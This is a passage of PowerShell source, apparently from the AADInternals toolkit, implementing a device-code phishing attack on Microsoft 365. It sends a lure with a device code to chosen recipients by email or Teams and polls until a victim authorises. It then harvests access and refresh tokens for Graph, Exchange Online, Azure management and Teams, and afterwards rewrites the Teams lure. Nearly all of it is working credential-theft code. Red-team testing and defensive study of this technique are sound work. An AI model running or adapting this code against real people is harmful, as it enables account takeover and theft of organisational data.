        [Parameter(Mandatory=$False)]
        [String]$Tenant="Common",
        [Parameter(Mandatory=$True)]
        [String[]]$Recipients,
        [Parameter(Mandatory=$False)]
        [String]$Message='<div>Hi!<br/>This is a message sent to you by someone who is using <a href="https://o365blog.com/aadinternals">AADInternals</a> phishing function. <br/><br/>Here is a <a href="{1}">link</a> you <b>should not click</b>.<br/><br/>If you still decide to do so, provide the following code when requested: <b>{0}</b>.</div>',

        [Parameter(ParameterSetName='Teams',Mandatory=$True)]
        [Switch]$Teams,
        [Parameter(ParameterSetName='Teams',Mandatory=$False)]
        [String]$CleanMessage='<div>Hi!<br/>This is a message sent to you by someone who is using <a href="https://o365blog.com/aadinternals">AADInternals</a> phishing function. <br/>If you are seeing this, <b>someone has stolen your identity!</b>.</div>',

        [Parameter(ParameterSetName='Mail',Mandatory=$True)]
        [String]$Subject,
        [Parameter(ParameterSetName='Mail',Mandatory=$True)]
        [String]$Sender,
        [Parameter(ParameterSetName='Mail',Mandatory=$True)]
        [String]$SMTPServer,
        [Parameter(ParameterSetName='Mail',Mandatory=$False)]
        [System.Management.Automation.PSCredential]$SMTPCredentials,

        [Switch]$SaveToCache
        
    )
    Begin
    {
        # Choises
        $choises="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!""#%&/()=?*+-_"
    }
    Process
    {
        if($Teams)
        {
            # Get access token from cache
            $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"

            # Get the list of tenants the user has access to
            $tenants = Get-AzureTenants -AccessToken $AccessToken
            $tenantNames = $tenants | select -ExpandProperty Name

            # Prompt for tenant choice if more than one
            if($tenantNames.count -gt 1)
            {
                $options = [System.Management.Automation.Host.ChoiceDescription[]]@()
                for($p=0; $p -lt $tenantNames.count; $p++)
                {
                    $options += New-Object System.Management.Automation.Host.ChoiceDescription "&$($choises[$p % $choises.Length]) $($tenantNames[$p])"
                }
                $opt = $host.UI.PromptForChoice("Choose the tenant","Choose the tenant to sent messages to",$options,0)
                }
            else
            {
                $opt=0
            }
            $tenantInfo = $tenants[$opt]
            $tenant =     $tenantInfo.Id

            # Create a new AccessToken for graph.microsoft.com
            $refresh_token = $script:refresh_tokens["d3590ed6-52b3-4102-aeff-aad2292ab01c-https://management.core.windows.net/"]
            if([string]::IsNullOrEmpty($refresh_token))
            {
                throw "No refresh token found! Use Get-AADIntAccessTokenForAzureCoreManagement with -SaveToCache switch"
            }
            $AccessToken = Get-AccessTokenWithRefreshToken -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" -TenantId $tenant -RefreshToken $refresh_token -SaveToCache $true
        }

        # Create a body for the first request. We'll be using client id of "Microsoft Office"
        $clientId = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
        $body=@{
            "client_id" = $clientId
            "resource" =  "https://graph.windows.net"
        }

        # Invoke the request to get device and user codes
        $authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/$tenant/oauth2/devicecode?api-version=1.0" -Body $body

        Write-Host "Code: $($authResponse.user_code)"
        
        # Format the message
        $message=[string]::Format($message,$authResponse.user_code,$authResponse.verification_url)
        
        # Send messages
        $teamsMessages=@()
        foreach($recipient in $Recipients)
        {
            if($Teams)
            {
                $msgDetails = Send-TeamsMessage -AccessToken $AccessToken -Recipients $recipient -Message $Message -Html
                Write-Host "Teams message sent to: $Recipients. Message id: $($msgDetails.MessageID)"
                $msgDetails | Add-Member -NotePropertyName "Recipient" -NotePropertyValue $recipient
                $teamsMessages += $msgDetails
            }
            else
            {
                Send-MailMessage -from $Sender -to $recipient -Subject $Subject -Body $message -SmtpServer $SMTPServer -BodyAsHtml -Encoding utf8
                Write-Host "Mail sent to: $recipient"
            }
        }
        

        $continue = $true
        $interval = $authResponse.interval
        $expires =  $authResponse.expires_in

        # Create body for authentication subsequent requests
        $body=@{
            "client_id" =  $ClientId
            "grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
            "code" =       $authResponse.device_code
            "resource" =   $Resource
        }

        # Loop while authorisation pending or until timeout exceeded
        while($continue)
        {
            Start-Sleep -Seconds $interval
            $total += $interval

            if($total -gt $expires)
            {
                Write-Error "Timeout occurred"
                return
            }
                        
            # Try to get the response. Will give 400 while pending so we need to try&catch
            try
            {
                $response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/$Tenant/oauth2/token?api-version=1.0 " -Body $body -ErrorAction SilentlyContinue
            }
            catch
            {
                # This normal flow, always returns 400 unless successful
                $details=$_.ErrorDetails.Message | ConvertFrom-Json
                $continue = $details.error -eq "authorization_pending"
                Write-Verbose $details.error
                Write-Host "." -NoNewline

                if(!$continue)
                {
                    # Not pending so this is a real error
                    Write-Error $details.error_description
                    return
                }
            }

            # If we got response, all okay!
            if($response)
            {
                Write-Host "" # new line
                break # Exit the loop
            }
        }

        # Dump the name
        $user = (Read-Accesstoken -AccessToken $response.access_token).upn
        Write-Host "Received access token for $user"

        # Clear the teams messages
        foreach($msg in $teamsMessages)
        {
            Send-TeamsMessage -AccessToken $AccessToken -ClientMessageId $msg.ClientMessageId -Message $CleanMessage -Html | Out-Null
        }

        # Save the tokens to cache
        if($SaveToCache)
        {
            Write-Verbose "ACCESS TOKEN: SAVE TO CACHE"
            $Script:tokens["$ClientId-https://graph.windows.net"] =         $response.access_token
            $Script:refresh_tokens["$ClientId-https://graph.windows.net"] = $response.refresh_token
        }
        
        # Create the return hashtable
        $attributes = @{
            "AADGraph" =         $response.access_token
            "refresh_token" =    $response.refresh_token
            "EXO" =              Get-AccessTokenWithRefreshToken -Resource "https://outlook.office365.com"        -ClientId $clientId                              -RefreshToken $response.refresh_token -TenantId $Tenant -SaveToCache $SaveToCache
            "MSGraph" =          Get-AccessTokenWithRefreshToken -Resource "https://graph.microsoft.com"          -ClientId $clientId                              -RefreshToken $response.refresh_token -TenantId $Tenant -SaveToCache $SaveToCache
            "AZCoreManagement" = Get-AccessTokenWithRefreshToken -Resource "https://management.core.windows.net/" -ClientId $clientId                              -RefreshToken $response.refresh_token -TenantId $Tenant -SaveToCache $SaveToCache
            "Teams" =            Get-AccessTokenWithRefreshToken -Resource "https://api.spaces.skype.com"         -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" -RefreshToken $response.refresh_token -TenantId $Tenant -SaveToCache $SaveToCache
        }

        # Return
        if(!$SaveToCache)
        {
            return New-Object psobject -Property $attributes
        }
        
    }
}